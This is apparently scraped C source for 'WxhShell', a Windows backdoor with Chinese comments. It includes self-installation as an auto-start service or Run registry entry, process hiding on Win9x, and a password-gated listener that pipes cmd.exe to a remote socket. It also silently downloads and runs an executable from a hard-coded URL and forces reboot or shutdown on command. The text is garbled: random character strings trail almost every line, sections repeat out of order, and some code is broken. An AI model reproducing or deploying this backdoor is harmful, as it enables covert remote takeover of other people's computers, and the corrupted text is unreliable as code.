    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /{>ds-;-  
    else { ^dZ,Itho  
    closesocket(wsh); g|"z'_  
    ExitThread(0); ) OZDq]mV  
    } pJ+>qy5  
    break; g[8V fIe  
    } 2YuaPq/  
  // 获取shell ;r49H<z   
  case 's': { d;D^<-[i  
    CmdShell(wsh); R j(="+SPj  
    closesocket(wsh); y|.wL=;  
    ExitThread(0); .NCQiQ  
    break; aZ5qq+1x  
  } p&Nw:S  
  // 退出 Kl(}s{YFn.  
  case 'x': { m;K Mr6sO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aFyNm@a  
    CloseIt(wsh); *:BN LM  
    break; 49/1#^T"Q>  
    } |1J "r.K  
  // 离开 d>@{!c-  
  case 'q': { .a;-7|x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I #1_  
    closesocket(wsh); 0Yfk/}5  
    WSACleanup(); wLkHU"'   
    exit(1); m$QFtrvy  
    break; Gg5vf]VFo  
        } & Radpb2p6  
  } FE M_7M  
  } QHP^1W`  
gJs~kQU  
  // 提示信息 `'0opoQRe  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (C6Y*Zm\  
} xS,):R  
  } d@C ;rzR  
ZJy D/9y  
  return; _qE2r^o"B  
} <u->hT  
(ter+rTv  
// shell模块句柄 O- |RPW}  
int CmdShell(SOCKET sock) CdWGb[uI  
{ qaw5<  
STARTUPINFO si; G?3S_3J2  
ZeroMemory(&si,sizeof(si)); u:g(x+u4:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "Hg n2o.;5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O~'1)k>  
PROCESS_INFORMATION ProcessInfo; HFo}r~  
char cmdline[]="cmd"; [USXNe/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7:bqh$3!s  
  return 0; (9Hc`gd)p  
} @3VL _g:  
=%2 E|/  
// 自身启动模式 [jAhw>  
int StartFromService(void) cv#H  
{ JN|<R%hy  
typedef struct dN\pe@#lKP  
{ $PrzJc  
  DWORD ExitStatus; hH@018+  
  DWORD PebBaseAddress; ,wRrx&  
  DWORD AffinityMask; 7yQ r  
  DWORD BasePriority; .P =!M  
  ULONG UniqueProcessId; \+cQiN b@  
  ULONG InheritedFromUniqueProcessId; Ls|;gewp  
}   PROCESS_BASIC_INFORMATION; yMo@ka=v  
b#82G`6r  
PROCNTQSIP NtQueryInformationProcess; Aqp3amW!  
T0tG1/O\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !Z4,UTu|Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?$ YE  
!my5-f>{(  
  HANDLE             hProcess; 9]AKNQq m  
  PROCESS_BASIC_INFORMATION pbi; /Zm@.%.  
/f0_mi,bD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _fMooI)U1  
  if(NULL == hInst ) return 0; |d{(&s}  
&1w,;45  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mcr71j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9F,jvCM63  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ch7eUTq A@  
AiO,zjM=  
  if (!NtQueryInformationProcess) return 0; i"_f46r P  
b~#rUOXb8?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =#y&xWxL  
  if(!hProcess) return 0; 4SG[_:+!  
72v 9S T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PN\2 ^@>_  
j$8 ~M  
  CloseHandle(hProcess); Gi{1u}-0  
J+.t \R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hp>me*vzr  
if(hProcess==NULL) return 0; Z.h`yRhO  
8nZPY)o  
HMODULE hMod; }cS3mJ  
char procName[255]; rNgE/=X  
unsigned long cbNeeded; 8|J%IE  
}>tUkXlhJ<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j&44wuf  
B\<zU  
  CloseHandle(hProcess); qa%g'sB-b  
CdEJ/G:  
if(strstr(procName,"services")) return 1; // 以服务启动 B<0lif|  
[2&Fnmjk}X  
  return 0; // 注册表启动 ]+@b=J2b  
} lJU[9)Q_  
i$%V)pH~F  
// 主模块 ;dPLi4=o  
int StartWxhshell(LPSTR lpCmdLine) cuSXv)  
{ pD &\Z~5T  
  SOCKET wsl; Ue l*:c  
BOOL val=TRUE; W6\s@)b;  
  int port=0; aEL6-['(  
  struct sockaddr_in door; Ex<-<tY  
A Ys<IMQ  
  if(wscfg.ws_autoins) Install(); h|jsi*4NnL  
7J')o^MG  
port=atoi(lpCmdLine); QTP1u  
<X;y 4lPZ  
if(port<=0) port=wscfg.ws_port; o9Agx{'oV  
*/Y@:Sjf  
  WSADATA data; ]INbRytvc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )IhI~,0Nmj  
yWX:`*GV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^M,Q<HL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g4-HUc zk  
  door.sin_family = AF_INET; 7v=Nh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /yH:ur  
  door.sin_port = htons(port); 4!E6|N%f  
*[ A%tj%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [!DLT6Qk  
closesocket(wsl); F%< 0pi  
return 1; rV1JJ.I  
} \hm=AGI0  
?MN?.O9-  
  if(listen(wsl,2) == INVALID_SOCKET) { /Wzic+v<>  
closesocket(wsl); |yqx ]  
return 1; fx=aT  
} rZzto;NDS  
  Wxhshell(wsl); o"5R^a@  
  WSACleanup(); uK t>6DN.  
6wxQ_Qz:Q  
return 0; Uh&MoIBs#  
2TIZltFS0e  
} Ai /a y# E  
P'FI'2cN7  
// 以NT服务方式启动 M%6{A+(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u2BVQ<SA  
{ B8C"i%8V)  
DWORD   status = 0; ZpWG  
  DWORD   specificError = 0xfffffff; +]I7)  
Y&+<'FA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T}fo:aB}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U?@UIhtM|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qwVpGNc45  
  serviceStatus.dwWin32ExitCode     = 0; ;O.U-s  
  serviceStatus.dwServiceSpecificExitCode = 0; ``zg |h  
  serviceStatus.dwCheckPoint       = 0; ,.F,]m=  
  serviceStatus.dwWaitHint       = 0; g*!2.P  
,V |>nkQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M22 ^.,Z  
  if (hServiceStatusHandle==0) return; ?hmj0i;XC  
*6=[Hmygi  
status = GetLastError(); Hk.+1^?%  
  if (status!=NO_ERROR) $~U_VQIA^  
{ yyBfLPXZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 18|H  
    serviceStatus.dwCheckPoint       = 0; oIf -s[uH  
    serviceStatus.dwWaitHint       = 0; <5q:mG88  
    serviceStatus.dwWin32ExitCode     = status; |\elM[G"g  
    serviceStatus.dwServiceSpecificExitCode = specificError; wUl}x)xo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9jJ&QACn  
    return; Xhi9\wteYw  
  } ( R Ttz  
?p6+?\H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8Zwq:lV Q  
  serviceStatus.dwCheckPoint       = 0; dG6Mo76  
  serviceStatus.dwWaitHint       = 0; Mi:$<fEX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [N H[n#  
} szWh#O5=  
#d__  
// 处理NT服务事件,比如:启动、停止 *mq+w&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !U*i13  
{ J6&;pCAi  
switch(fdwControl) `MEH/  
{ O cm  
case SERVICE_CONTROL_STOP: L?0dZY-"  
  serviceStatus.dwWin32ExitCode = 0; &]uhPx/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,mjwQ6:Ny  
  serviceStatus.dwCheckPoint   = 0; "r.pU(uxt  
  serviceStatus.dwWaitHint     = 0; %6*xnB?  
  { 1<ZvHv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }vp\lK P  
  } +&Sf$t 1  
  return; ?%;)> :3N  
case SERVICE_CONTROL_PAUSE: ]cFqKs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RqH"+/wR  
  break; Rs5G5W@"A  
case SERVICE_CONTROL_CONTINUE: nj #Ab  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &!m;s_gi  
  break; 2h u;N  
case SERVICE_CONTROL_INTERROGATE: Nluy]h &  
  break; 6g( 2O[n.  
}; ;^t<LhN:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QH#|R92:  
} @P[Tu; 4  
qnru atA  
// 标准应用程序主函数 X[BKF8,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &LHQ) ?  
{ m {wMzsQ  
obS|wTG~  
// 获取操作系统版本 iK'bV<V&7  
OsIsNt=GetOsVer(); S}ZM;M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3 uhwoE  
`ag>4?7?  
  // 从命令行安装 U0UOubA  
  if(strpbrk(lpCmdLine,"iI")) Install(); =f=MtH?0y  
9C3q4.$D  
  // 下载执行文件 |.)dOk,o  
if(wscfg.ws_downexe) { f; >DM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7S1 Y)  
  WinExec(wscfg.ws_filenam,SW_HIDE); rEs,o3h?po  
} 0|P RCq  
,Q >u N  
if(!OsIsNt) { zVJ wmp^  
// 如果时win9x,隐藏进程并且设置为注册表启动 !<@k\~9^D  
HideProc(); B%cjRwOT  
StartWxhshell(lpCmdLine); {i`BDOaL  
} g:O~1jq  
else Rr(,i%fu  
  if(StartFromService()) ~vBmW_j  
  // 以服务方式启动 3[aCy4O  
  StartServiceCtrlDispatcher(DispatchTable); P+,\x&Vr  
else ep>S$a*|  
  // 普通方式启动 8H3|^J  
  StartWxhshell(lpCmdLine); :Uj+iYE8Z8  
W UDQb5k  
return 0; cYmMO[4YG'  
} l+y/Mq^QB  
q-X)tH_+w@  
IHMZE42  
Z/6B[,V  
=========================================== )r5QOa/  
]X;Ty\UD&  
4E&URl0Bh  
?VO*s-G:J  
M*}C.E!  
pZ%/;sxYa  
" asmMl9)(`  
d,6 Z  
#include <stdio.h> 4 Z1- RS  
#include <string.h> j+w*Absh  
#include <windows.h> uXNJ{]o  
#include <winsock2.h> R0, Q`  
#include <winsvc.h> 8yA :C  
#include <urlmon.h> Tg)Fr)  
1E=%:?d  
#pragma comment (lib, "Ws2_32.lib") 3RZP 12x  
#pragma comment (lib, "urlmon.lib")  s>76?Q:i  
Qte=<Z)  
#define MAX_USER   100 // 最大客户端连接数 \y"!`.E7\d  
#define BUF_SOCK   200 // sock buffer TOeJnk  
#define KEY_BUFF   255 // 输入 buffer c+ Ejah+  
-Q<3Q_  
#define REBOOT     0   // 重启 #rF|X6P  
#define SHUTDOWN   1   // 关机 rhHX0+  
-=s7Q{O8Z  
#define DEF_PORT   5000 // 监听端口 "!9~77  
#4Xe zj,g*  
#define REG_LEN     16   // 注册表键长度 "Z#97Jc+J  
#define SVC_LEN     80   // NT服务名长度 w91{''sK  
`BdZqXKG  
// 从dll定义API mc~d4<$`!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 218ZUg -a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yf2U-s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !!%vs 6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u B~/W  
$DJp|(8  
// wxhshell配置信息 +^1H tI|y  
struct WSCFG { p&_Kb\} U  
  int ws_port;         // 监听端口 f XS4&XU  
  char ws_passstr[REG_LEN]; // 口令 F !tn|!~  
  int ws_autoins;       // 安装标记, 1=yes 0=no b6'%nR*f  
  char ws_regname[REG_LEN]; // 注册表键名 =Bu d!  
  char ws_svcname[REG_LEN]; // 服务名 .3Jggp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wk<QYLEk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dNB56E)5`J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JGHQ_AI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  M#IGq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O\q|b#q}/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p>96>7w  
TGY^,H>J  
}; ]Z&2  
TWK(vEDM  
// default Wxhshell configuration ZUVk~X3  
struct WSCFG wscfg={DEF_PORT, L*6Tz'Qp  
    "xuhuanlingzhe", hIuK s5`  
    1, H :}|UW  
    "Wxhshell", h?p&9[e`  
    "Wxhshell", @D[jUC$E  
            "WxhShell Service", t.v@\[{ -  
    "Wrsky Windows CmdShell Service", S6*3."Sk  
    "Please Input Your Password: ", W1w)SS  
  1, jt@k< #h~  
  "http://www.wrsky.com/wxhshell.exe", P`v%< 9~  
  "Wxhshell.exe" L!|c: 8  
    }; XwOj`N{!H  
u0^GB9q  
// 消息定义模块 D[x0sly  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l Ztq_* Fl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (@vu/yN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y4YA1F  
char *msg_ws_ext="\n\rExit."; P#Z$+&)b)s  
char *msg_ws_end="\n\rQuit."; lBvQ?CJ<y  
char *msg_ws_boot="\n\rReboot..."; s_y Y,Z:  
char *msg_ws_poff="\n\rShutdown..."; }Gqx2 )H  
char *msg_ws_down="\n\rSave to "; }b ~;x6  
MW=2GhD=  
char *msg_ws_err="\n\rErr!"; \(R(S!xr_  
char *msg_ws_ok="\n\rOK!"; DI'wZySS^  
NmthvKhH   
char ExeFile[MAX_PATH]; N J9H=  
int nUser = 0; FZ DC?  
HANDLE handles[MAX_USER]; nzmv>s&UW  
int OsIsNt; w&8gA[y*u  
{n2mh%I  
SERVICE_STATUS       serviceStatus; !G.)%+Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y.Na9&-(  
n{J<7I e"*  
// 函数声明 o}mD1q0yE  
int Install(void); "<SK=W  
int Uninstall(void); H1N_  
int DownloadFile(char *sURL, SOCKET wsh); Edj}\e*-J  
int Boot(int flag); \::<]  
void HideProc(void); Cp7EJr~  
int GetOsVer(void); eNY$N_P   
int Wxhshell(SOCKET wsl); 0.4c|-n  
void TalkWithClient(void *cs); &Y;z[+(P  
int CmdShell(SOCKET sock); c!AGKc  
int StartFromService(void); 6 :K~w<mMJ  
int StartWxhshell(LPSTR lpCmdLine); I9h?Z&n5  
3rhH0{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V7.xKmB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u*  G|TF  
ev7Y^   
// 数据结构和表定义 |_{-hNiz0  
SERVICE_TABLE_ENTRY DispatchTable[] = y,v*jE  
{ Lj6$?(x}  
{wscfg.ws_svcname, NTServiceMain}, ~rN~Ql%S  
{NULL, NULL} a$.(Zl  
}; f' Dl*d  
m7Nm!Z7  
// 自我安装 yeqZPz n  
int Install(void) W6_/FkO  
{ b/5  
  char svExeFile[MAX_PATH]; tbrjTeC  
  HKEY key; s"#>Xc  
  strcpy(svExeFile,ExeFile); g|tnYN  
n KC$ KC  
// 如果是win9x系统,修改注册表设为自启动 >_XRh  
if(!OsIsNt) { B v /]>Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { );$_|]#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kaQn'5  
  RegCloseKey(key); m!L&_ Z|j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %?1k}(qUeY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 02q]^3  
  RegCloseKey(key); fFudoIC  
  return 0; ,d'x]&a  
    } 7Rqjf6kX`O  
  } w?|gJ*B"  
} WDNuR #J?  
else { =t\HtAXn[  
$q);xs  
// 如果是NT以上系统,安装为系统服务 +K,]#$k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P#]%C  
if (schSCManager!=0) %b<cJ]F  
{ ?NoG.  
  SC_HANDLE schService = CreateService V\r!H>  
  ( WQv%57+  
  schSCManager, @U08v_,  
  wscfg.ws_svcname, /co^swz  
  wscfg.ws_svcdisp, CKeT%3  
  SERVICE_ALL_ACCESS, ue@ fry  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |fkz=*rn  
  SERVICE_AUTO_START, eS{lr4-]  
  SERVICE_ERROR_NORMAL, . S4Xw2MS  
  svExeFile, ohklLZoZ  
  NULL, me"}1REa  
  NULL, %/NB263Db  
  NULL, NPF"_[RoeV  
  NULL, PMC5qQ%x  
  NULL ya8MjGo  
  ); W;en7v;#I}  
  if (schService!=0) =S7Xj`/  
  { PRcW}"m]Qg  
  CloseServiceHandle(schService); %H Pwu &  
  CloseServiceHandle(schSCManager); ~fbFA?g3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^u`1W^>  
  strcat(svExeFile,wscfg.ws_svcname); *f{\ze@5=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4/e|N#1`;[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YMx]i,u'+  
  RegCloseKey(key); f-&4x_5  
  return 0; Q]wM WV  
    } &6V[@gmD  
  } :23w[vt=  
  CloseServiceHandle(schSCManager); ".Z|zt6C  
} aGY R:jR$  
} IGqg,OEAp  
#m [R1G#  
return 1; s>hNwb/  
} *\><MXx  
8i"v7}  
// 自我卸载  _dCdyf  
int Uninstall(void) ;G_{$)P.o  
{ CR3<9=Lv>  
  HKEY key; YQGVQ[P  
OOJg%y*H  
if(!OsIsNt) { ?T]3I.3 2^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?Co)7}N  
  RegDeleteValue(key,wscfg.ws_regname); 1P i_V  
  RegCloseKey(key); LCKCg[D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3 VNYDY`>  
  RegDeleteValue(key,wscfg.ws_regname); VrDSN  
  RegCloseKey(key); ~5S[Sl  
  return 0; :98<dQIG  
  } W !TnS/O_1  
} 9n\:grW  
} ;w0|ev 6|  
else { ;pn*|Bsq  
5Us$.p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _D<=Yo  
if (schSCManager!=0) mN+ w,  
{ Uj]Tdg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5qZebD2a  
  if (schService!=0) zl8O @g  
  { lsJl+%&8  
  if(DeleteService(schService)!=0) { V?pqKQL0  
  CloseServiceHandle(schService); YQ/  
  CloseServiceHandle(schSCManager); nX 4WlH  
  return 0; <!@*2/Q]J]  
  } G':wJ7[]`  
  CloseServiceHandle(schService); $=&a 0O#  
  } oY)xXx  
  CloseServiceHandle(schSCManager); APye  
} |7XPu  
} V ,# |\  
]/31@RT  
return 1; vZhC_G+tGd  
} Bgw=((p  
_"nzo4e0  
// 从指定url下载文件 K,B qVu  
int DownloadFile(char *sURL, SOCKET wsh) i{T mn  
{ 1{%3OG^'  
  HRESULT hr; $wnK"k%G  
char seps[]= "/"; ha Tmfh_|  
char *token; #GoZH?MAF  
char *file; 7S^ba  
char myURL[MAX_PATH]; wg-qq4Q\  
char myFILE[MAX_PATH]; (^),G-]  
 S(* u_  
strcpy(myURL,sURL); YF)uAJAk  
  token=strtok(myURL,seps); barY13)$U  
  while(token!=NULL) U1oZ\Mh  
  { )I&,kH)+  
    file=token; YCMXF#1  
  token=strtok(NULL,seps); @q(sig00nr  
  } (*6kYkUK  
v*Dz4K#  
GetCurrentDirectory(MAX_PATH,myFILE); r>o#h+'AV  
strcat(myFILE, "\\"); }o9fpo|  
strcat(myFILE, file); ,#/%Fn%T  
  send(wsh,myFILE,strlen(myFILE),0); ERka l7+  
send(wsh,"...",3,0); LpV2XL$p>#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /J@<e{&t~  
  if(hr==S_OK)  Vv|%;5(  
return 0; <I 5F@pe'  
else w; rQ\gj  
return 1; &|]GTN`E  
m/E$0tf  
} /-FvC^Fj  
MP LgE.n  
// 系统电源模块 ?**9hu\BG  
int Boot(int flag) :}B=Bk/q  
{ +mu.W r  
  HANDLE hToken; |XGj97#M  
  TOKEN_PRIVILEGES tkp; W%&gvZre.  
NUN~T (  
  if(OsIsNt) { 5I`_S Oa!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Yo-$Z-ud  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l.>3gjr  
    tkp.PrivilegeCount = 1; A r=P;6J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZBY*C;[)*P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dp|VQWCq  
if(flag==REBOOT) { jV 'u*2&9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V7S[rI<<r  
  return 0; `T#Jiq E  
} 7M.TLV!f]  
else { A )q=.C#e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f)_k_<  
  return 0; g6D7Y<}d  
} l b9O  
  } > r %:!o  
  else { |XrGf2P9u  
if(flag==REBOOT) { ow<z @^ 3'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q2{Aq[  
  return 0; /z)H7s+  
} r9 5hW  
else { U,g)N[|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |a|##/  
  return 0; S Bo i|  
} 0F5QAR O  
} Efa3{ 7>{  
'=V1'I*  
return 1; S%6V(L|  
} eaWK2%v  
Z@ dS,M*  
// win9x进程隐藏模块 hY(q@_s  
void HideProc(void) #qcF2&a%  
{ dxa[9>V  
-s_=4U,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zcE` .)y  
  if ( hKernel != NULL ) IW>\\&pJ  
  { 8ioxb`U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Hw\hTTK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (>,}C/-UG  
    FreeLibrary(hKernel);  _(_U=  
  } Q2LAXTF]y  
xXQW|#X\  
return; {P7 I<^,  
} _8{6&AmIw  
DQy;W  ov  
// 获取操作系统版本 &0Bs?oq_  
int GetOsVer(void) CubBD+h l*  
{ /ReOf<%B  
  OSVERSIONINFO winfo; (GJX[$@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6DxT(VU}  
  GetVersionEx(&winfo); cs-dvpMZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vO 3-B   
  return 1; rx\f:-3g  
  else $=ua$R4Z+  
  return 0; jQ X9KwSP  
} Egm-PoPe  
X B[C&3I  
// 客户端句柄模块 J,_IHzO~Z  
int Wxhshell(SOCKET wsl) @"vTz8oY@  
{ q6T>y%|FZ  
  SOCKET wsh; Pm=i(TBS/  
  struct sockaddr_in client; q+1SU6x'm  
  DWORD myID;  0N`'a?x  
cHw-;  
  while(nUser<MAX_USER) M1,1J-h  
{ Aw,#oG {N  
  int nSize=sizeof(client); f eA(Rj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +V,Ld&r  
  if(wsh==INVALID_SOCKET) return 1; 5cZKk/"Ad}  
KKGwMJku}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JrJTIUf_  
if(handles[nUser]==0) mKZ^FgG  
  closesocket(wsh); "SFs\] Z  
else <,+6:NmT  
  nUser++; m'"Ra-  
  } FZ@8&T   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $[HpY)MSRw  
1vL$k[^&d  
  return 0; G1S:hw%rp  
} lFc4| _c g  
z\6/?5D#v  
// 关闭 socket k}908%w  
void CloseIt(SOCKET wsh) 0$I!\y\  
{ mF@D O$  
closesocket(wsh); 9 :FzSD  
nUser--; uTIl} N  
ExitThread(0); tg%C>O  
} nTH!_S>b(Y  
tRzo}_+N  
// 客户端请求句柄 #e5*Dr8  
void TalkWithClient(void *cs) #M=d)}[  
{ &4V"FHy2  
V~ [I /Vi  
  SOCKET wsh=(SOCKET)cs; 1Jn:huV2  
  char pwd[SVC_LEN]; Xb5 $ijH  
  char cmd[KEY_BUFF]; w*qmC<D$A  
char chr[1]; I3D#wXW  
int i,j; S$%Y{  
]zR,Y= #  
  while (nUser < MAX_USER) { ~glFB`?[  
8+U':xR  
if(wscfg.ws_passstr) { 90]{4]y;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Nk/Ms:57y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +{/*P 5  
  //ZeroMemory(pwd,KEY_BUFF); SPY4l*kX  
      i=0; K$Yc!4M  
  while(i<SVC_LEN) { *EzAo  
liG3   
  // 设置超时 '<KzWxuC  
  fd_set FdRead; K)n0?Q_>  
  struct timeval TimeOut; pgU4>tyD  
  FD_ZERO(&FdRead); 9KLhAYaq  
  FD_SET(wsh,&FdRead); }dSxrT  
  TimeOut.tv_sec=8; ;WpPdR2  
  TimeOut.tv_usec=0; ^p!4`S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4j h4XdH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &m>txzo  
hR3Pa'/i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0CS80 pC  
  pwd=chr[0]; ^jMo?Zwy  
  if(chr[0]==0xd || chr[0]==0xa) { +gsk}>"  
  pwd=0; -"Q[n,"Y  
  break; Y'S9   
  } X>6VucH{\  
  i++; 9,;+B8-A  
    } R@H}n3,  
BlvNBB1^  
  // 如果是非法用户,关闭 socket !WReThq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^Wz3 q-^  
} [j`-R 0Np  
Cb/?hT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @5-+>\Hd^t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p; ZEz<M  
Q`X5W  
while(1) { N~A#itmdx  
k<3 _!?3  
  ZeroMemory(cmd,KEY_BUFF); *>XY' -;2e  
#O .-/&Z  
      // 自动支持客户端 telnet标准   D7Nz3.j  
  j=0; j']Q-s(s  
  while(j<KEY_BUFF) { pd{;`EW|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %C8fv|@:f  
  cmd[j]=chr[0]; k^PqB+P!  
  if(chr[0]==0xa || chr[0]==0xd) { (B zf~#]~  
  cmd[j]=0;  YErn50L  
  break; 7F{=bL  
  } @tLoU%  
  j++; 4)3!n*I  
    } y[!4M+jj  
4';]fmf@[i  
  // 下载文件 >MIp r  
  if(strstr(cmd,"http://")) { 'D4KaM.d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SEXLi8;/  
  if(DownloadFile(cmd,wsh)) i#~1|2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9N'um%J3%s  
  else 9/k?Lv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x6x6N&f?  
  } kty,hAXe  
  else { )>LC*_v  
g loo].z  
    switch(cmd[0]) { h;KI2k_^  
  {&c%VVZb:Z  
